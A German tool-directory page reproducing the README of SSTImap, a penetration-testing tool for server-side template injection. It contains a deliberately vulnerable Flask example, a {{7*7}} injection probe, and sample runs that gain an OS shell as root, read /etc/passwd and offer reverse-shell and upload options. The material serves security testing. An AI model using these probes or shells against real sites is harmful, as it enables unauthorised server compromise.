Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SSTImap — Automatisches SSTI-Erkennungstool mit interaktiver Oberfläche | Kitploit
Tools/GitHubGitHub/vladko312/sstimap
SchwachstellenscannerPayload-GenerierungCode-AnalyseDynamische Code-Analyse (DAST)ExploitationWebanwendungs-ExploitationFuzzingPenetrationstestsCommand and Control
GitHubvladko312/sstimap

SSTImap

1.6k177180vor 2 MonatenVon Kitploit geprüft

Automatisches SSTI-Erkennungstool mit interaktiver Oberfläche

Repository anzeigen
Teilen
SSTImap
======

[![Version 1.4](https://img.shields.io/badge/version-1.4-green.svg?logo=github)](https://github.com/vladko312/sstimap)
[![Python 3.14](https://img.shields.io/badge/python-3.14-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3140/)
[![Python 3.6](https://img.shields.io/badge/python-3.6+-yellow.svg?logo=python)](https://www.python.org/downloads/release/python-360/)
[![GitHub](https://img.shields.io/github/license/vladko312/sstimap?color=green&logo=gnu)](https://www.gnu.org/licenses/gpl-3.0.txt)
[![GitHub last commit](https://img.shields.io/github/last-commit/vladko312/sstimap?color=green&logo=github)](https://github.com/vladko312/sstimap/commits/)
[![Maintenance](https://img.shields.io/maintenance/yes/2026?logo=github)](https://github.com/vladko312/sstimap)

> Dieses Projekt basiert auf [Tplmap](https://github.com/epinna/tplmap/).

SSTImap ist eine Penetrationstest-Software, die Websites auf Code-Injection- und Server-Side-Template-Injection-Schwachstellen prüfen und diese ausnutzen kann, wodurch Zugriff auf das Betriebssystem selbst gewährt wird.

Dieses Tool wurde entwickelt, um als interaktives Penetrationstest-Werkzeug für die Erkennung und Ausnutzung von SSTI zu dienen, was eine fortgeschrittenere Ausnutzung ermöglicht. Weitere Payloads für SSTImap finden Sie [hier](https://github.com/vladko312/extras).

Payloads und Techniken stammen von:
- James Kettle's [Server-Side Template Injection: RCE For The Modern Web App][5]
- Andere öffentliche Forschungen [\[1\]][1] [\[2\]][2] [\[8\]][8]
- Beiträge zu Tplmap [\[3\]][3] [\[4\]][4]
- Meine eigene Forschung [\[9\]][9]

Dieses Tool ist in der Lage, einige Code-Kontext-Escapes und Blind-Injection-Szenarien auszunutzen. Es unterstützt außerdem _eval()_-ähnliche Code-Injection in Java, JavaScript, PHP, Python, Ruby und generische, nicht gesandboxte Template-Engines.

Hauptunterschiede zu Tplmap
-----------------------

Auch wenn diese Software auf dem Code von Tplmap basiert, wird keine Abwärtskompatibilität gewährleistet.
- Zwei neue Techniken zur SSTI-Erkennung und -Ausnutzung hinzugefügt
- Interaktiver Modus (`-i`), der eine einfachere Ausnutzung und Erkennung ermöglicht
- Einfache Auswertungs-Payloads als Antwortmarker bei Payload-Reflexion
- Neue Payloads für generische Templates hinzugefügt; zum Testen aller Kontexte `--generic` verwenden
- Generische Erkennung von Template-Injection durch Auswertung mit dem `Eval_generic`-Modul
- Basis-Sprach-_eval()_-ähnliche Shell (`-x`) oder Einzelbefehlsausführung (`-X`)
- Blinder Datei-Upload unterstützt jetzt MD5-Bestätigung und Dateiexistenzprüfung
- Neue Payloads für weitere Templates hinzugefügt und viele bestehende Payloads aktualisiert
- Modulare Plugin-Struktur, die die Installation zusätzlicher Plugins ermöglicht
- Unterstützung für verschiedene POST-Datentypen
- Crawling und Formularerkennung hinzugefügt
- Kurzversionen für viele Argumente hinzugefügt
- Einige alte Befehlszeilenargumente wurden geändert; Hilfe mit `-h` anzeigen
- Code wurde geändert, um neuere Python-Funktionen zu nutzen
- Burp-Suite-Erweiterung vorübergehend entfernt, da _Jython_ Python3 nicht unterstützt

Server-Side Template Injection
------------------------------

Dies ist ein Beispiel für eine einfache Website, die in Python mit dem [Flask][6]-Framework und der [Jinja2][7]-Template-Engine geschrieben wurde. Sie integriert die vom Benutzer bereitgestellte Variable `name` auf unsichere Weise, da sie vor dem Rendern an die Template-Zeichenkette angehängt wird.

```python3
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI-SCHWACHSTELLE:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
```

Diese Art der Template-Verwendung erzeugt nicht nur eine XSS-Schwachstelle, sondern ermöglicht es dem Angreifer auch, Template-Code zu injizieren, der auf dem Server ausgeführt wird, was zu SSTI führt.

```
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
```

Vom Benutzer bereitgestellte Eingaben sollten auf sichere Weise über den Rendering-Kontext eingeführt werden:

```python3
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
```

Vorgegebener Modus
------------------

SSTImap im vorgegebenen Modus ist Tplmap sehr ähnlich. Es ist in der Lage, SSTI-Schwachstellen in mehreren verschiedenen Templates zu erkennen und auszunutzen.

Nach der Ausnutzung kann SSTImap Zugriff auf Code-Auswertung, Ausführung von Betriebssystembefehlen und Dateisystemmanipulationen bieten.

Um die URL zu prüfen, können Sie das Argument `-u` verwenden:

```
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files
```

Verwenden Sie die Option `--os-shell`, um eine Pseudo-Terminal auf dem Ziel zu starten.

```
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

Um eine vollständige Liste der Optionen zu erhalten, verwenden Sie das Argument `--help`.

Interaktiver Modus
----------------

Im interaktiven Modus werden Befehle verwendet, um mit SSTImap zu interagieren. Um in den interaktiven Modus zu gelangen, können Sie das Argument `-i` verwenden. Alle anderen Argumente, außer denen, die Ausnutzungs-Payloads betreffen, werden als Anfangswerte für die Einstellungen verwendet.

Einige Befehle dienen dazu, Einstellungen zwischen Testläufen zu ändern. Um einen Test auszuführen, muss die Ziel-URL über das anfängliche Argument `-u` oder den Befehl `url` angegeben werden. Danach können Sie den Befehl `run` verwenden, um die URL auf SSTI zu prüfen.

Wenn SSTI gefunden wurde, können Befehle verwendet werden, um die Ausnutzung zu starten. Sie erhalten dieselben Ausnutzungsmöglichkeiten wie im vorgegebenen Modus, können sie jedoch mit `Ctrl+C` abbrechen, ohne das Programm zu beenden.

Übrigens sind die Testergebnisse gültig, bis die Ziel-URL geändert wird, sodass Sie problemlos zwischen Ausnutzungsmethoden wechseln können, ohne jedes Mal einen Erkennungstest auszuführen.

Um eine vollständige Liste der interaktiven Befehle zu erhalten, verwenden Sie den Befehl `help` im interaktiven Modus.

Unterstützte Template-Engines
--------------------------

SSTImap unterstützt mehrere Template-Engines und _eval()_-ähnliche Injectionen.

Neue Payloads sind in Pull Requests willkommen. Schauen Sie sich die [Tipps](https://github.com/vladko312/extras#developing-plugins) an, um die Entwicklung zu beschleunigen.

| Engine                                                                             | RCE | Tech | Sprache    | Typ                                                    |
|------------------------------------------------------------------------------------|-----|------|------------|--------------------------------------------------------|
| Freemarker                                                                         | ✓   | REBT | Java       | Standard                                               |
| Java generische EL-Injectionen                                                     | ✓   | REBT | Java       | Standard                                               |
| OGNL (Object-Graph Navigation Language code eval)                                  | ✓   | REBT | Java       | Standard                                               |
| Velocity                                                                           | ✓   | REBT | Java       | Standard                                               |
| Nunjucks                                                                           | ✓   | REBT | JavaScript | Standard                                               |
| Velocity.js                                                                        | ✓   | REBT | JavaScript | Standard                                               |
| JavaScript (code eval)                                                             | ✓   | REBT | JavaScript | Standard                                               |
| JavaScript-basierte generische Templates                                           | ✓   | REBT | JavaScript | Standard                                               |
| Twig (>=1.41; >=2.10; >=3.0)                                                       | ✓   | REBT | PHP        | Standard                                               |
| PHP (code eval)                                                                    | ✓   | REBT | PHP        | Standard                                               |
| PHP-basierte generische Templates                                                  | ✓   | REBT | PHP        | Standard                                               |
| Jinja2                                                                             | ✓   | REBT | Python     | Standard                                               |
| Python (code eval)                                                                 | ✓   | REBT | Python     | Standard                                               |
| Python-basierte generische Templates                                               | ✓   | REBT | Python     | Standard                                               |
| ERB                                                                                | ✓   | REBT | Ruby       | Standard                                               |
| Mustache (<=1.1.2; nur Erkennung)                                                  | ×   | reb_ | Ruby       | Standard                                               |
| Slim                                                                               | ✓   | REBT | Ruby       | Standard                                               |
| Ruby (code eval)                                                                   | ✓   | REBT | Ruby       | Standard                                               |
| Generische auswertende Templates                                                   | ×   | Reb_ | *          | Standard                                               |
| SpEL (Spring EL code eval)                                                         | ✓   | REBT | Java       | Generisch                                              |
| doT                                                                                | ✓   | REBT | JavaScript | Generisch                                              |
| EJS                                                                                | ✓   | REBT | JavaScript | Generisch                                              |
| Marko                                                                              | ✓   | REBT | JavaScript | Generisch                                              |
| Pug                                                                                | ✓   | REBT | JavaScript | Generisch                                              |
| Smarty                                                                             | ✓   | REBT | PHP        | Generisch                                              |
| Cheetah                                                                            | ✓   | REBT | Python     | Generisch                                              |
| Mako                                                                               | ✓   | REBT | Python     | Generisch                                              |
| Tornado                                                                            | ✓   | REBT | Python     | Generisch                                              |
| Dust (<= [email protected])                                                     | ✓   | REBT | JavaScript | Legacy                                                 |
| Twig (<=1.19.0)                                                                    | ✓   | REBT | PHP        | Legacy                                                 |
| Pybars3 / Pybars4                                                                  | ✓   | REBT | Python     | Legacy                                                 |
| Templite                                                                           | ✓   | REBT | Python     | Legacy                                                 |
| SSI (Server-Side Includes injection)                                               | ✓   | R__T | SSI        | Legacy                                                 |
| Obskure auswertende Syntaxen                                                       | ×   | Reb_ | *          | Legacy                                                 |
| [CVE-2025-1302](https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456) | ✓   | REBT | JavaScript | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2025-13204](https://huntr.com/bounties/1-npm-expr-eval)                       | ✓   | REBT | JavaScript | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2022-23614](https://nvd.nist.gov/vuln/detail/CVE-2022-23614)                  | ✓   | REBT | PHP        | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2024-6386](https://sec.stealthcopter.com/wpml-rce-via-twig-ssti/)             | ✓   | REBT | PHP        | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2026-46640](https://nvd.nist.gov/vuln/detail/CVE-2026-46640)                  | ✓   | REBT | PHP        | [Extra](https://github.com/vladko312/extras/tree/main) |

Techniken: (R)endered, (E)rror-based, (B)oolean error-based blind und (T)ime-based blind; Kleinbuchstaben kennzeichnen eine teilweise unterstützte Technik

Weitere Plugins und Payloads finden Sie im Repository [SSTImap Extra Plugins](https://github.com/vladko312/extras).

Burp-Suite-Plugin
-----------------

Derzeit funktioniert Burp Suite nur mit Jython als Möglichkeit, Python2 auszuführen. Python3-Funktionalität wird nicht bereitgestellt.

Zukünftige Pläne
------------

Wenn Sie planen, etwas Großes aus dieser Liste beizutragen, informieren Sie mich, um zu vermeiden, dass Sie an derselben Sache arbeiten wie ich oder andere Mitwirkende.

- [ ] Weitere Payloads für verschiedene Engines hinzufügen
- [ ] Plugins weniger abhängig von Basis-Plugins machen
- [ ] Rohe HTTP-Anfrage aus Datei parsen
- [ ] Funktionalität zum Ausgeben von Variablen
- [ ] Blind-/Seitenkanal-Wertextraktion
- [ ] Bessere Dokumentation (oder zumindest irgendeine Dokumentation)
- [ ] Kurze Argumente als interaktive Befehle?
- [ ] JSONL-/Klartext-API-Modi für Skriptintegrationen?
- [ ] Bessere Integration für Python-Skripte
- [ ] Unterstützung für Multipart-POST-Datentypen
- [ ] Module für besser anpassbare Anfragen (Second Order, Reset, Nicht-HTTP)
- [ ] Payload-Verarbeitungsskripte
- [ ] Bessere Konfigurationsfunktionalität
- [ ] Speichern gefundener Schwachstellen
- [ ] Berichte in HTML oder anderem Format
- [ ] Mehrzeilige Sprachauswertung?
- [ ] Plattformabhängigkeit in Payloads vermeiden
- [ ] Mehrere Shells in exec-basierten RCE-Szenarien testen
- [ ] NodeJS-Payloads aktualisieren, da process.mainModule undefiniert sein kann
- [x] Spider-/Crawler-Automatisierung (von [fantesykikachu](https://github.com/fantesykikachu))
- [x] Automatischer Import von Sprachen und Engines
- [x] Unterstützung weiterer POST-Datentypen
- [x] Template- und Basis-Sprachauswertungsfunktionalität vereinheitlichen
- [x] Argument zum Entfernen von Escape-Codes?

[1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html
[2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/
[3]: https://github.com/epinna/tplmap/issues/9
[4]: http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
[5]: http://blog.portswigger.net/2015/08/server-side-template-injection.html
[6]: http://flask.pocoo.org/
[7]: http://jinja.pocoo.org/
[8]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9
[9]: https://github.com/vladko312/Research_Successful_Errors
Tool herunterladen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-seitiges Red-Team-Toolkit mit 102 Offline-Tools für Recon, Payload-Generierung, Credential-Angriffe, Krypto, Encoding und Engagement-Reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Das System der Handlung für KI-native Cybersicherheit – wo Absicht zu gesteuerter Ausführung wird, Beweise zu operativem Gedächtnis werden und jeder Einsatz den nächsten verbessert.

    282

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →